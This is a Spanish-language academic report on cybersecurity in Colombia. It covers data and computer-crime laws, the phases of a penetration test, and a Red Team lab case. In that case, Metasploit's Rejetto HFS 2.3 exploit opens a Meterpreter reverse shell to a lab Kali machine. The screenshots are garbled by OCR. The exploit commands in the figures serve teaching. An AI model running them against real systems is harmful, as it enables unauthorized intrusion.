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Resumen

Este informe técnico aborda las estrategias de ciberseguridad necesarias para proteger la
informacion sensible de organizaciones frente a las crecientes amenazas cibernéticas. En el
marco normativo colombiano, se analizan leyes clave como la Ley 1273 de 2009 y su
importancia en la proteccion de los sistemas informaticos. Asimismo, se examina un caso
practico de Red Team, enfocado en identificar y explotar vulnerabilidades criticas mediante
herramientas como Metasploit y Nmap, demostrando el impacto potencial de ataques exitosos y
proponiendo mejoras de seguridad.

El anlisis también incluye estrategias de contencién y defensa empleadas por el Blue
Team, destacando el uso de tecnologias como SIEM y medidas de endurecimiento de sistemas
para mitigar amenazas en tiempo real. Se refuerza la necesidad de una gestion ética 'y
responsable de los datos en empresas de ciberseguridad, como se ejemplifica en el caso de
CyberFort Technologies. Este documento propone un enfoque integral que combina aspectos
técnicos, legales y operativos, con el objetivo de fortalecer la resiliencia cibernética y proteger
los activos criticos de las organizaciones.

Palabras Clave. Ciberseguridad, Equipo Rojo, Equipo Azul, Medidas de Seguridad,

Amenazas Cibernéticas.



Abstract

This white paper addresses the cybersecurity strategies needed to protect organizations’
sensitive information from growing cyber threats. Within the Colombian regulatory framework,
key laws such as Law 1273 of 2009 and their importance in protecting computer systems are
analyzed. A Red Team case study is also examined, focusing on identifying and exploiting
critical vulnerabilities using tools such as Metasploit and Nmap, demonstrating the potential
impact of successful attacks and proposing security improvements.

The analysis also includes containment and defense strategies employed by the Blue
Team, highlighting the use of technologies such as SIEM and system hardening measures to
mitigate threats in real time. The need for ethical and responsible data management in
cybersecurity companies is reinforced, as exemplified in the case of CyberFort Technologies.
This document proposes a comprehensive approach that combines technical, legal, and
operational aspects, with the aim of strengthening cyber resilience and protecting organizations’
critical assets.

Keywords. Cybersecurity, Red Team, Blue Teams, Cyber Defense, Digital Threats.
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Introduccion

La evolucidn tecnoldgica ha generado un aumento exponencial en las amenazas
cibernéticas, exigiendo a las organizaciones y gobiernos fortalecer su ciberseguridad. En el
contexto colombiano, el marco legal —representado por normativas como las Leyes 1266, 1273
y 527— ha buscado regular la proteccion de datos personales, combatir delitos informaticos y
fomentar précticas seguras en el entorno digital. Estas leyes, complementadas con herramientas
avanzadas como Metasploit, Nmap y OpenVAS, y repositorios como CVE y ExploitDB, proveen
a los profesionales de recursos esenciales para identificar y mitigar vulnerabilidades.

El papel de los equipos de Red Team y Blue Team es clave en este escenario. Mientras el
Red Team simula ataques para identificar puntos débiles, el Blue Team fortalece la defensa
contra amenazas reales. Este analisis combina ambos enfoques para evaluar la seguridad de
sistemas, como un equipo Windows con la aplicacion vulnerable Rejetto v. 2.3, validando
riesgos mediante pruebas practicas.

Asimismo, el caso de ciberespionaje en CyberFort Technologies resalta la relevancia de
la ética en el sector, subrayando la necesidad de controles y sanciones eficaces para prevenir
incidentes similares. Este informe técnico sintetiza las actividades realizadas en los enfoques Red
Team, Blue Team y legales, con el objetivo de demostrar capacidades estratégicas y técnicas que

contribuyan a la seguridad organizacional.



Justificacion

La ciberseguridad se ha convertido en una prioridad estratégica para las organizaciones,
debido al crecimiento de las amenazas informaticas y su impacto en la confidencialidad,
integridad y disponibilidad de los datos. Este informe responde a la necesidad de evaluar, mitigar
y prevenir riesgos mediante enfoques integrales de seguridad que combinen estrategias ofensivas
y defensivas, representadas por los equipos de Red Team y Blue Team.

En un contexto como el colombiano, donde el marco legal ha avanzado para regular la
proteccidn de datos y sancionar delitos cibernéticos, es imprescindible contar con herramientas
técnicas, metodologias probadas y profesionales éticos que garanticen la eficacia de estas
normativas en la practica. Casos como el ciberespionaje en CyberFort Technologies evidencian
la importancia de implementar controles estrictos y promover una cultura de responsabilidad en
el manejo de informacion sensible.

Este documento no solo busca demostrar competencias técnicas mediante la
identificacion y explotacion de vulnerabilidades, sino también proponer estrategias de defensa y
endurecimiento que alineen las précticas operativas con estandares internacionales de seguridad.
Su objetivo es respaldar la capacidad de garantizar la resiliencia cibernética, reduciendo riesgos

para las organizaciones y fomentando la confianza en sus operaciones tecnologicas.



Objetivos

Objetivo General

Formular estrategias de contencion mediante el analisis de riesgos y vulnerabilidades en
una infraestructura TI.
Objetivos Especificos

Aspectos que aporten al desarrollo de estrategias de Red Team & Blue Team.

Recomendaciones para el planteamiento de estrategias que permitan endurecer los
aspectos de seguridad en una organizacion

Conclusiones que permitan la construccion del conocimiento desde el enfoque de la

ciberseguridad.
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Marco Legal Colombiano: Delitos Informaticos y Proteccion de Datos

En el marco del Estado de Derecho colombiano, diversas leyes y normativas han sido
promulgadas para enfrentar las crecientes amenazas cibernéticas y garantizar la proteccion de la
informacion y los datos personales en la era digital:

Ley 1266 de 2008. Regula el habeas data y el manejo de informacion personal,
estableciendo directrices para la proteccion y el acceso a los datos (Congreso de la Republica de
Colombia, 2008, 31 de Diciembre).

Ley 527 de 1999. Define y reglamenta el uso de mensajes de datos, comercio electronico
y firmas digitales, asegurando la validez juridica de las transacciones electronicas (Congreso de
la Republica de Colombia, 1999, 18 de agosto).

Ley 1273 de 2009. Introduce medidas especificas contra delitos informaticos,
penalizando actividades ilicitas relacionadas con el uso no autorizado de informacién. Reconoce
los datos como un bien juridico valioso y busca concientizar sobre su manejo ético, destacando la
necesidad de actualizar continuamente la legislacion para enfrentar nuevas amenazas (Congreso
de la Republica de Colombia, 1999, 18 de agosto).

Decreto 1078 de 2015. Establece requisitos para el registro e incorporacion de
tecnologias de informacién y comunicacion (TIC) en el pais (Presidencia de la Republica de
Colombia, 2015, 6 de mayo).

Ley 1581 de 2012. Considerada pilar de la proteccion de datos personales, garantiza el
derecho de los ciudadanos a conocer, actualizar y rectificar informacién en bases de datos
publicas y privadas. Establece estandares para el manejo ético y seguro de los datos,
promoviendo la privacidad y la integridad en su tratamiento (Congreso de la Republica de

Colombia, 2012, 17 de octubre).
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Pruebas de Penetracion o Pentesting

Escaneo de Puertos

El escaneo de puertos es una técnica clave en ciberseguridad que permite identificar los
puntos de acceso en una red, asociados a servicios o aplicaciones especificas. (Nagvi & Sultan,
2022) Proporciona informacion esencial sobre la infraestructura digital y ayuda a fortalecer su
proteccion.
Importancia del Escaneo de Puertos

Identificacion de Servicios Activos. Detecta qué servicios y aplicaciones estan
operativos.

Cartografia de la Red. Ofrece una vision clara de la topologia y las conexiones entre
dispositivos.

Deteccidn de Barreras de Seguridad. Permite identificar firewalls y filtros en puertos
restringidos.

Preparacion para Ataques Dirigidos. Identifica vulnerabilidades para prevenir posibles
ataques sofisticados. Esta practica proactiva esta alineada con leyes colombianas como:

Ley 1273 de 2009. Penaliza el acceso indebido y la explotacion de vulnerabilidades.

Ley 1581 de 2012. Protege los datos personales, cuya seguridad puede verse
comprometida por sistemas vulnerables.
Método de Escaneo de Puertos.

El escaneo de puertos es una técnica crucial en ciberseguridad que identifica los puntos de
acceso, servicios activos y vulnerabilidades en una red (Romero, y otros, 2023), proporcionando
una vision clara de la superficie de ataque y permitiendo medidas preventivas. Su uso es esencial

para reforzar defensas y tomar decisiones informadas (Sahu & Achraya, 2020).
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Tipos de Escaneo de Puertos

TCP. El mas comdn, analiza detalladamente el estado de los puertos.

UDP. Mas complejo, evalla la naturaleza sin conexién de este protocolo.

Sigiloso (Stealth). Evita la deteccion mediante métodos como escaneo SYN o FIN.

Exhaustivo (All Ports). Examina todos los puertos, aunque puede ser mas lento y
detectable.
Importancia y Relacion con Normativas

Identifica configuraciones inseguras y vulnerabilidades criticas. Facilita la proteccion de
datos personales y sistemas, alinedndose con:

La ley 1273 de 2009. Penaliza accesos no autorizados y delitos informaticos.

Ley 1581 de 2012. Protege los datos personales y fomenta el manejo seguro de
informacion sensible.
La Enumeracion

La enumeracion es una fase clave en las pruebas de intrusién que sigue al escaneo de
puertos y precede a la explotacion de vulnerabilidades (Martinez-Sanchez, Nespoli, Garcia-alfaro,
& Gbmez, 2023). Su objetivo es proporcionar una comprension profunda del entorno digital de
una organizacién, identificando usuarios, sistemas y configuraciones para anticiparse a amenazas
y planificar estrategias defensivas efectivas.
Principales Actividades en la Enumeraciéon

Compilacién de Informacion Exhaustiva. Analisis detallado de usuarios, grupos,
recursos compartidos, politicas de seguridad y configuraciones del sistema.

Determinacion de Usuarios y Grupos. Ayuda a entender la jerarquia de accesos y

planificar posibles escalamientos de privilegios.
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Anélisis de Recursos Compartidos. Evalua la exposicion de datos sensibles y permisos
asociados.

Mapeo de Interacciones. Revela cdmo los usuarios interacttan con los recursos,
proporcionando una visién integral de la infraestructura.

Evaluacion de Politicas de Seguridad. Examina medidas como requisitos de
contrasefias, bloqueos de cuentas y otras protecciones clave.
La Importancia de la Enumeracién en las Pruebas de Intrusion

La enumeracién es una fase crucial en las pruebas de intrusion que permite recopilar
informacidn detallada sobre sistemas, usuarios, redes y servicios en una infraestructura digital
(Martinez-Sanchez, Nespoli, Garcia-alfaro, & Gomez, 2023). Su propésito es identificar
configuraciones internas, puntos debiles y servicios vulnerables para fortalecer la seguridad y
mitigar riesgos cibernéticos.

Proporciona conocimiento clave para reforzar defensas y establecer una postura de
seguridad robusta.

Contribuye a identificar areas criticas donde podrian exponerse datos personales o
informacion sensible.
Relacion Legal en Colombia

Ley 1273 de 2009. Penaliza actividades ilicitas en sistemas informaticos y fomenta la
implementacién de medidas de proteccion.

Ley 1581 de 2012. Refuerza la necesidad de proteger los datos personales, siendo la
enumeracion una herramienta para identificar vulnerabilidades y cumplir con los estandares
legales.

Preparacion para la Fase de Explotacion
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La informacion recopilada durante la enumeracion sirve como base para la fase de
explotacion (Couretas, 2022). Identificar usuarios, servicios y configuraciones especificas prepara
al equipo de seguridad para ataques mas dirigidos y efectivos.

Analisis de Vulnerabilidades Especificas. Facilita la identificacion de vulnerabilidades
especificas en usuarios o servicios, lo que contribuye a una evaluacion mas precisa de las
amenazas potenciales.

Evaluacion de la Superficie de Ataque. Ayuda a determinar la exposicion total de la
red, incluyendo recursos compartidos, servicios y usuarios, lo que es crucial para la comprension
completa de la superficie de ataque.

Identificacion de Objetivos de Interés. Permite a los profesionales de seguridad
identificar objetivos especificos de interés, como cuentas de administrador o sistemas criticos,
para evaluar su nivel de proteccion y mitigar posibles riesgos.

La explotacion de Vulnerabilidades

La explotacion es la etapa en pruebas de intrusién donde se simulan ataques controlados
para evaluar el impacto real de las vulnerabilidades identificadas (Abdelrazek, Mammi, & Din,
2021). Su propdsito principal es demostrar cdmo un atacante podria comprometer un sistema y
ayudar a fortalecer las defensas de la infraestructura (Alonso, 2023).

Identificacion de Vulnerabilidades. Utiliza informacion obtenida en fases previas,
como el escaneo de puertos y la enumeracion.

Uso de Exploits. Emplea herramientas o cddigos disefiados para aprovechar
vulnerabilidades especificas.

Objetivos. Ganar acceso no autorizado, escalar privilegios y, en algunos casos, establecer

un acceso persistente al sistema.
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Simulacion Controlada. Evalua la eficacia de las defensas y permite entender el impacto
potencial de un ataque exitoso.

Informe y Recomendaciones. Documenta hallazgos y sugiere medidas para mitigar
riesgos.
Consideraciones Eticas y Legales.

Debe realizarse con consentimiento explicito del propietario del sistema. Regida por la
Ley 1273 de 2009, que sanciona ataques malintencionados y promueve practicas éticas en
ciberseguridad.
La Escalada de Privilegios

La escalada de privilegios busca demostrar como un atacante con acceso limitado puede
explotar vulnerabilidades para obtener permisos mas altos y mayor control sobre un sistema
(Safla, 2023). Este proceso revela riesgos criticos que podrian comprometer datos sensibles y
operaciones esenciales. Aqui se exploran los aspectos clave de la escalada de privilegios
(Laprovittera, 2023):

Identificacion de Vulnerabilidades. Detectar errores o configuraciones que permitan
elevar el nivel de acceso.

Técnicas de Escalada. Incluyen explotacion de errores de disefio, manipulacién de
configuraciones, ejecuciéon de comandos maliciosos y uso de vulnerabilidades especificas.

Impacto Potencial. llustra como una falla menor puede otorgar control completo del
sistema, acceso a datos sensibles 0 comprometer otros sistemas conectados.

Evaluacion de Politicas. Analiza las politicas de seguridad vigentes para detectar y

corregir deficiencias.
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Uso de Exploits Especificos. Herramientas disefiadas para aprovechar vulnerabilidades
concretas.
Consideraciones Eticas y Legales

Regida por la Ley 1581 de 2012, que protege los datos personales y fomenta préacticas
que prevengan accesos no autorizados.
Resultado

Informe y Mitigacion. Documentacion de los hallazgos y recomendaciones para
eliminar riesgos y reforzar la seguridad del sistema.
La Obtencion de Acceso Remoto

Esta fase simula como un atacante podria establecer y mantener acceso remoto no
autorizado a un sistema, evaluando la capacidad para sortear defensas y lograr control persistente
(Costantino & Mattucci, 2019).

Objetivo. Identificar vulnerabilidades y simular técnicas avanzadas para lograr acceso
remoto y persistente.

Importancia. Expone fallas criticas en el entorno digital, subrayando la necesidad de
reforzar las defensas.

Relevancia Legal. La Ley 1273 de 2009 penaliza el acceso indebido y destaca la
importancia de proteger sistemas contra intrusiones.

Capacidad del Sistema. Evalua la habilidad del entorno para detectar, mitigar
intrusiones y limitar el impacto de accesos no autorizados.

Identificacién de Vulnerabilidades de Acceso Remoto
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Esta fase evalla como un atacante podria ingresar a un sistema de manera remota,
destacando vulnerabilidades y simulando ataques externos para obtener control continuo (Diaz-
Cacho, Chaves, & Pereira, 2023).

Identificacion de Vulnerabilidades. Se detectan puntos de entrada remotos que puedan
ser explotados.

Explotacion de Puntos de Entrada. Simulacion de ataques para aprovechar
vulnerabilidades especificas.

Conexiones Persistentes. Creacion de backdoors, cuentas de usuario o0 manipulacion de
servicios para mantener acceso continuo.

Uso de Herramientas Especializadas. Se emplean herramientas disefiadas para facilitar
el acceso remoto.

Obtencion de Datos y Control. Simulacion del acceso a informacién y el dominio del
sistema comprometido.

Informe y Recomendaciones. Se documentan las vulnerabilidades halladas y se
proponen medidas para fortalecer la seguridad.

La Ingenieria Social

La ingenieria social explota la psicologia humana, manipulando emociones y confianza,
para acceder a informacién sensible o comprometer sistemas (Prado, 2021).. Este enfoque resalta
la necesidad de combinar infraestructura técnica solida con una cultura organizacional de

seguridad y concienciacion.

Phishing. Correos fraudulentos para obtener credenciales o informacion financiera.
Vishing. Uso de llamadas o mensajes de voz falsos para engafiar y obtener datos.

Smishing. Mensajes de texto fraudulentos que inducen a acciones inseguras.
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Ataques en Redes Sociales. Uso de perfiles falsos 0 manipulados para recolectar
informacion personal y corporativa.

Ingenieria Social Presencial. Interacciones cara a cara para obtener acceso no
autorizado o informacion sensible.

La Ley 1581 de 2012 destaca la importancia de proteger los datos personales frente a
estas tacticas, reforzando la necesidad de sensibilizar y capacitar a las personas como parte

integral de la seguridad organizacional.

Pruebas de Intrusién

Las pruebas de intrusion simulan ataques cibernéticos para identificar vulnerabilidades y
fortalecer la seguridad de las organizaciones. Estas evaluaciones no solo detectan debilidades
puntuales, sino que permiten anticipar vectores de ataque y aplicar medidas proactivas a largo
plazo. Mas alla de detectar debilidades puntuales, estas evaluaciones ofrecen un enfoque
estratégico para anticipar posibles vectores de ataque (Fajardo, Montafio, Donado, & Villalba,
2019).

Al analizar exhaustivamente cada fase de las pruebas, se pueden identificar no solo los
puntos vulnerables, sino también las oportunidades para implementar medidas proactivas que
fortalezcan la seguridad a largo plazo (Coronel & Quirumbay, 2022).

Este proceso es fundamental para asegurar que las organizaciones estén preparadas de
manera efectiva ante las amenazas cibernéticas, que evolucionan constantemente. Siendo en este
caso las fases éticas de las pruebas de intrusion (Coronel & Quirumbay, 2022) de las Fases
Principales:

Reconocimiento. Recoleccion inicial de informacion sobre el objetivo (red, dominios,

IPs) para identificar posibles puntos de entrada.



Escaneo. Uso de herramientas como NMAP para mapear la red y detectar servicios
activos.

Enumeracion. Obtencion de detalles especificos como usuarios, grupos y recursos
compartidos, preparando ataques especificos.

Explotacidn. Uso de exploits para demostrar como un atacante podria comprometer el
sistema.

Post-Explotacion. Evaluacion de actividades como escalada de privilegios y acceso
remoto para mantener el control.

Informe y Recomendaciones. Documentacion detallada de hallazgos y medidas de
mejora.
Contexto Legal

Ley 1273 de 2009. Protege la informacién y los datos frente a vulneraciones.

Ley 1581 de 2012. Refuerza la importancia de resguardar tanto los sistemas como los

datos personales.

19
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Las Herramientas Principales para el Desarrollo del Pentesting
Herramientas de Ciberseguridad

Metasploit. Metasploit es un marco de trabajo (framework) de codigo abierto utilizado
para desarrollar, probar y ejecutar exploits en sistemas informaticos. (Suntaxi, Nasimba,
Pallango, & Yaguarshungo, 2023). Metasploit permite lanzar ataques simulados para comprobar
cdémo responderian los sistemas ante vulnerabilidades conocidas.

Nmap. Nmap (Network Mapper) es una herramienta de codigo abierto para explorar
redes y realizar auditorias de seguridad (Diaz, 2019). Se utiliza para descubrir hosts activos y
servicios disponibles en una red. Esto permite a los administradores de red y los auditores de
seguridad detectar configuraciones incorrectas o vulnerabilidades en sus redes.

OpenVAS. OpenVAS (Open Vulnerability Assessment System) es una herramienta de
analisis de vulnerabilidades que se utiliza para detectar fallas de seguridad en sistemas y redes
(Chiluiza & & Enciso, 2023). OpenVAS ofrece una plataforma para realizar escaneos de
vulnerabilidad detallados y automaticos.

Servicios en Linea

ExploitDB. ExploitDB es una base de datos en linea de exploits y vulnerabilidades de
cddigo abierto (Kekdl, Ergen, & Arslan, 2022). Proporciona un repositorio publico donde se
almacenan exploits y pruebas de concepto. Esto permite a los profesionales de la seguridad
estudiar y comprender como funcionan las vulnerabilidades en diversas aplicaciones y sistemas
operativos. Es una fuente clave para quienes buscan detalles sobre exploits disponibles para
vulnerabilidades conocidas.

CVE (Common Vulnerabilities and Exposures). CVE es un sistema de identificacion y

estandarizacién de vulnerabilidades de seguridad (Walkowski, Oko, & Sujecki, 2021).



Proporciona un método estandar para identificar y nombrar vulnerabilidades y exposiciones de

software, lo que permite a los equipos de seguridad compartir informacion de manera mas

eficiente.

Evidencia de la Implementacién del “Banco de Trabajo” en su Entorno Local

Figura 1

Conexién a Windows

EX Administradon CYWindows\system32\cmd. exe
Microsoft Windows [Wersion 6.1.76H11

Copyright <c>» 2080? Microsoft Corporation. Reserwvados todos los derechos.

C:~Users~usuario>ipconfig

Configuracion IP de Windows

Ndaptador de Ethernet Conexidn de area local:

Sufijo DNS especifico para la conexidn. .
Uinculo:= direccidn IPve local. . . = feBB:
Direccidn IPwd. . . D e e e e e e e e .
Mascara de subred - . . . . . . .
Fuerta de enlace predeterminada .

NAdaptador de tinel isatap.<SBESBED2—2BA4—4799

Eszstado de los medios. - e e e e e e .
Sufijo DHS especifico para la conexidn.

CiwUserssusuario?

Nota. Elaboracion propia.

14842 :9ced:=4e38:7898x11
: 1?2.168.18.5

= 255.255.255.8

: 1922 .168.18.1

—BEB3-D28B?D73C2468% =

: medios desconectados
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Figura 2

Protocolo IPv4

Co e |

Propiedades: Protocolo de Internet versian 4 (TCP/IPwd)
General

Puede hacer gue la configuracion IF se asigne automaticamente =i la
red es compatible con esta fundonalidad. De lo contrario, debera
consultar con el administrador de red cudl es la configuracién IP
apropiada.

Obtener una direccién IP automaticamente

@ Usar la siguiente direccidn IP:

Direccion IF: 192 . 168 . 18 . 5
Mascara de subred: 255,255 . 255 . 0
Puerta de enlace predeterminada: 192 . 168 . 18 . 1

m

s

il

@ Usar las siguientes direcciones de servidor DMNS:

Servidor DMNS preferido: 8 .8 .8 . 8

Servidor DNS alternativo:

Validar configuracién al salir | Qpciones avanzadas... |

| Aceptar || Cancelar |

Nota. Elaboracion propia.

Figura 3

Ping al Equipo Kali Linux 01

Bl Administrador: ChYWindowshsystem32hcmd.exe

Haciendo ping a
Respuesta desde
Rezpuesta desde
Rezpuesta desde
Respuesta desde

Estadisticas de

1?22.168.18.168
192._168.18.5:=
192 _168.18.5:
192 _168.18.

192 _168.18.5:

ping para 192

con 32 bytes de
Host de destino
Host de destino
Host de destino
Host de destino

-168 .18 _14@:

datos =

inaccesible.
inaccesible.
inaccesible.
inaccesible.

Paguetes: enviados = 4. recibidos = 4. perdidos = 8
<H:x perdidos>.

C:xUserssuwsunariorping 192 _168_.18.1@

Haciendo ping a
desde
desde
desde

Respuesta desde

Ezstadisticas de

192 _168.18.108
192 _168.18 .1
192 _168.18 .1
1?22.168.18.1

ping para 192

con 32 bytes de

datos =

B: bytes=32 tiempo=1ims TTL=64

bytes=32 tiempo<im TTL=64
byte 32 tiempo<im TTL=64
192 .168.18.18: bytes=32 tiempo<im TTL=64

-168.18._16@:

Paguetes: enviadosz = 4. wpecibidos = 4, perdidos

22

@ perdidos.
Tiempos aproximados de ida v vuelta en milisegundos:
Minimo = Bms. Maximo = 1Ims. Media = Bms

CisUserssuswario

Nota. Elaboracién propia.



Figura 4

Ping desde Windows al Equipo Kali Linux 02

B Administrader C:\Windows\system32hcmd.exe E@

Microsoft Windows [Uersion 6.1.76011
Copyright <c?>» 2808? Microsoft Corporation. Reservados todos los derechos.

C:wUsers~usuario>ping 122 _168.18.28

Haciendo ping a 192_.168.18_.28 con 32 hytes de datos:
Rezspuesta desde 192 _168.18_28: bytesz=32 tiempo=1ims TTL=64
Rezspuesta desde 192 _168.18_.28: bytesz=32 tiempo<im TT 64
Respuesta desde 1922_.168.18_.208: bytes=32 tiempo<im TT
Rezspuesta desde 192 _168.18_.28: bytesz=32 tiempo<im TTL= 64

Estadisticas de ping para 192_.168.18_.280:

Paguetes enviados = 4. recibidos = 4, perdidos = @A
<A perdidos).

Tlempoo aproximados de ida v vuelta en milisegundos:
Minimo = Bms. Maximo = 1Ims,. Media = Bms

CosUserssusuario> I

Nota. Elaboracion propia.

Figura 5

Nueva #IP - Kali Linux 01

(o | Editing Wired connection 1

Connection name Wired connection 1

General Ethernet 802.1X Security oy IPv4 Settings
Method Manual

Addresses
Address Gateway
192.168.18.10 24 192.168.18.1

Require IPv4 addressing for this connection to complete

Routes...

Nota. Elaboracion propia.



Figura 6

Ping de Kali Linux 01 a Windows

- root@kali: fhome/kali
File Actions Edit View Help

TX errors © dropped © overruns @ carrier © collisions @

[sudo] password for kali:
/home/kali

| 192.168.18.5
PING 192.168.18.5 (192.168
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18
bytes from 192.168.18

18.5) 56(84) bytes of data.
icmp_seq=1 ttl=128 time=1.20 ms
icmp_seq=2 time=0.780 ms
icmp_seq=3 3 ®.725 ms
icmp_seq=5 i 1.5 m
icmp_seq=6 i ®.680 ms
icmp_seq=7 i ©.944 ms
icmp_seq=8 time=0.685 ms
icmp_seq=9 i ®.565 ms
icmp_seq=10 2 time=0.729
icmp_seq=11 2 time=0.630
icmp_seq=12 time=0.711
icmp_seq=13 2 time=0.698
icmp_seq=14 2 time=0.557

v nnn

— 192.168.18.5 ping statistics ——
14 packets transmitted, 13 received, 7.14286% packet loss, time 13238ms
rtt min/avg/max/mdev = ©0.557/0.765/1.197/0.180@ ms

/home/kali

Nota. Elaboracion propia.

Figura7

Nueva #IP - Kali Linux 02

Editing Wired conmnection 1

ction name Wired connection 1
neral Etherne ity ) IPw4 Settings
Method Manual

Addresses
Address MNetmask
24

connection to complete

Nota. Elaboracion propia.
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Figura 8
Ping de Kali Linux 02 a Windows

D¢ A O1745 | & G

root@kali: flhome/kali

File Actions Edit View Help

[sudo] password for kali:
/home/kali
E 1 192.168.18.5
/ PING 192.168.18.5 (192.168.18.5) 56(84) bytes of data.
) 64 bytes from 192.168.18.5: icmp_seqg=1 ttl=128 time=0.917 ms
File System 64 bytes from 192.168.18. icmp_seq=2 ttl=128 time=0.783 ms
64 bytes from 192.168.18. icmp_seqg=3 ttl=128 time=0.766 ms
“““ 64 bytes from 192.168.18. icmp_seqg=4 ttl=128 time=0.630 ms
i

64 bytes from 192.168.18.5: icmp_seq=5 ttl=128 time=0.968 ms
64 bytes from 192.168.18.5: icmp_seq=6 ttl=128 time=1.18 ms

64 bytes from 192.168.18. icmp_seq=7 ttl=128 time=0.762 ms
64 bytes from 192.168.18.5: icmp_seq=8 ttl=128 time=0.734 ms
Ac

— 192.168.18.5 ping statistics —

8 packets transmitted, 8 received, 0% packet loss, time 7068ms
rtt min/avg/max/mdev = 0.630/0.842/1.183/0.162 ms

/home/kali

Nota. Elaboracion propia.
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Metodologia, Herramientas y Softwares Utilizadas en el Caso de Red Team

Para abordar el anexo 4 — escenario 3 y responder a la pregunta sobre las herramientas
utilizadas en el proceso de Red Team, te propongo dividir el analisis en las fases de un pentesting
clasico (Reconocimiento, Escaneo, Explotacion y Post-explotacion) y especificar las
herramientas de cada etapa con evidencias de comandos y resultados.
Rejetto HFS

Es un servidor de archivos HTTP gratuito y ligero (HTTP File Server) que permite
compartir archivos a través de una red utilizando un navegador web. La version 2.3 de esta
aplicacién es conocida por contener una vulnerabilidad que puede ser explotada para obtener
acceso remoto al sistema (Jaswal, 2020).
Fase 1: Reconocimiento

Herramientas Usadas. Para realizar un escaneo de puertos y detectar servicios en
ejecucion.

NMAP. Es una herramienta de escaneo de redes que se utiliza para descubrir dispositivos
en una red y evaluar sus puertos abiertos y servicios. Nmap es muy utilizado en pruebas de

seguridad para identificar posibles puntos de entrada en un sistema o red (Raj & Walia, 2020).
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Figura 9

Rastreo de Puertos

root@kali: /home/kali

File Actions Edit View Help

/home/kali
A 192.168.18.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 20:01 EST

Nmap scan report for 192.168.18.5

Host is up (©.00068s latency).

Not shown: 999 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd 2.3

|_http-title: HFS /

| _http-server-header: HFS 2.3

MAC Address: 08:00:27:A3:3B:5D (Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port

Aggressive 0S guesses: Microsoft Windows Phone 7.5 or 8.0 (98%), Micros

oft Windows Embedded Standard 7 (98%), Microsoft Windows 7 Professional
or Windows 8 (97%), Microsoft Windows Vista SP® or SP1, Windows Server
2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 S
P1, or Windows Server 2008 (96%), Microsoft Windows Server 2008 R2 or W
indows 8.1 (95%), Microsoft Windows Server 2008 SP1 (94% Microsoft Wi
ndows 7 (94%), Microsoft Windows 8.1 R1 (92%), Microsoft Windows 7 SP1
(92%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT ADDRESS
1 ©.69 ms 192.168.18.5

Nota. Elaboracion propia.

Resultado. Informacion sobre los servicios y puertos abiertos en la méaquina objetivo,
ademas del sistema operativo y version de la aplicacion vulnerable.
Fase 2: Escaneo

Herramientas Usadas. Para verificar exploits especificos de la version de la aplicacion
vulnerable en la maquina objetivo.

Metasploit: Es una plataforma de explotacion de seguridad que permite a los
profesionales de la ciberseguridad probar y demostrar vulnerabilidades en sistemas. Contiene una
coleccidn de exploits y herramientas, y permite establecer conexiones remotas (como

Meterpreter) en sistemas comprometidos (Tabassum, Mohanan, & Tripti, 2021).
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Figura 10

Instalacion de Metasploit Msfconsole

root@kali: /home/kali

File Actions Edit View Help
/home/kali

Metasploit tip: Enable verbose logging with set VERBOSE true

L 269%62%6%2%:

1
exploit - au> ary — 429 post
vlioads E = 1 nops

on

Metasploit Documentation: https://docs.metasploit.com/

msfe > W

Nota. Elaboracion propia.

Figura 11

Busqueda de Archivos HFS

root@kali: /home/kali

File Actions Edit View Help

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search hfs

Matching Modules

= Name Disclosure D
ate Rank Check Description

(%] explolt/multl/http/glt client_command_exec 2014-12-18
t No Malicious Git and Mercurial HTTP Server For CVE-
2014-9390
1 \_ target: Automatic

2 \_ target: Windows Powershell

3 explolt/w1ndows/http/rejetto RfS _rce_cve_2024_ 23692 2024-05-25
t Yes Rejetto HTTP File Server (HFS) Unauthenticated R
emote Code Execution
4 explolt/w1ndows/http/rejetto hfsS_exec 2014-09-11
€ t Yes Rejetto HtthlleServev Remote Command Execution

Interact with a module by name or index. For example

msfe > i

Nota. Elaboracién propia.
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Resultado. Lista de exploits disponibles para la aplicacion, indicando si alguno permite
una ejecucion remota de comandos (RCE) o acceso a shell.
Fase 3: Explotacion

Herramientas Usadas. Se utiliza para ejecutar el exploit correspondiente a la aplicacion
vulnerable y acceder al sistema mediante shell.

Metasploit (con Exploit Especifico). Metasploit es una herramienta avanzada de pruebas
de penetracion que permite a los profesionales de ciberseguridad identificar, probar, y explotar
vulnerabilidades en sistemas de manera controlada. (Valea & Ciprian, 2020). Utiliza exploits
especificos (cadigo o instrucciones disefiadas para aprovechar fallos de seguridad en software)
que, una vez ejecutados, pueden conceder acceso o control sobre un sistema vulnerable. Por
ejemplo, en un entorno de prueba con Rejetto HFS v. 2.3, se puede usar un exploit especifico que
aproveche una vulnerabilidad en esta version del software para obtener acceso no autorizado.
Figura 12

Busqueda en el Shell

msf6 > use 4
No payload configured, defaulting to windows/meterpreter/reverse_tc

msf6 exploit( I |

Nota. Elaboracion propia.
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Figura 13

Busqueda en el Shell

root@kali: fhome/kali
Actions Edit View Help
Automatic

command .
set RHOST 192.

t RPOT S0

: RPOT. Did you RPORT Z

m
> sSet RPORT S0
>

set LHOST 192.
-1e
> exploit

TCP handler on 192.168.18.10@:4444
=/ 8.18.10:808@/J=zyrII3fQilLeXbF

s
3 = zyr33fQiLeXbF
198 bytes) to 192.168.18.S5
EMmPxEN\NtaFzrPA.vbs, unknown result
1 opened (192.168.18.1@:4444 —> 192.

Nota. Elaboracion propia.

Resultado. Acceso a un shell de sistema con permisos de usuario bésico o administrador,
dependiendo del éxito del exploit.

Fase 4: Post-Explotacion

Herramientas Usadas. Para crear un usuario administrador y demostrar la PoC.

PowerShell. Es un marco de automatizacion y administracion de tareas de Windows que
incluye una interfaz de linea de comandos (CLI) y un lenguaje de scripting basado en .NET.
